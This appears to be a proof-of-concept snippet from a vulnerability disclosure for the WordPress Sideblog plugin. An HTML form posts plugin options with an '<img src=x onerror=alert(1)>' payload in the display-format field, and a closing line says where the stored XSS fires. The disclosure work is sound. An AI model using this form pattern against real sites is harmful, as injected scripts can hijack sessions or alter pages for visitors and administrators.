<form id="test" action="" method="POST">
    <input type="text" name="sideblog_options_update" value="update">
    <input type="text" name="sideblog_options[setaside][1]" value="1">
    <input type="text" name="sideblog_options[displayformat][1]" value="<img src=x onerror=alert(1)>">
    <input type="text" name="sideblog_options[numentries][1]" value="1">
    <input type="text" name="sideblog_options[order][1]" value="DESC">
    <input type="text" name="op" value="update">

The XSS will be triggered in the Sideblog widget (either embed in frontend pages, or via the Appearance > Widgets > then search the Sideblog and add it)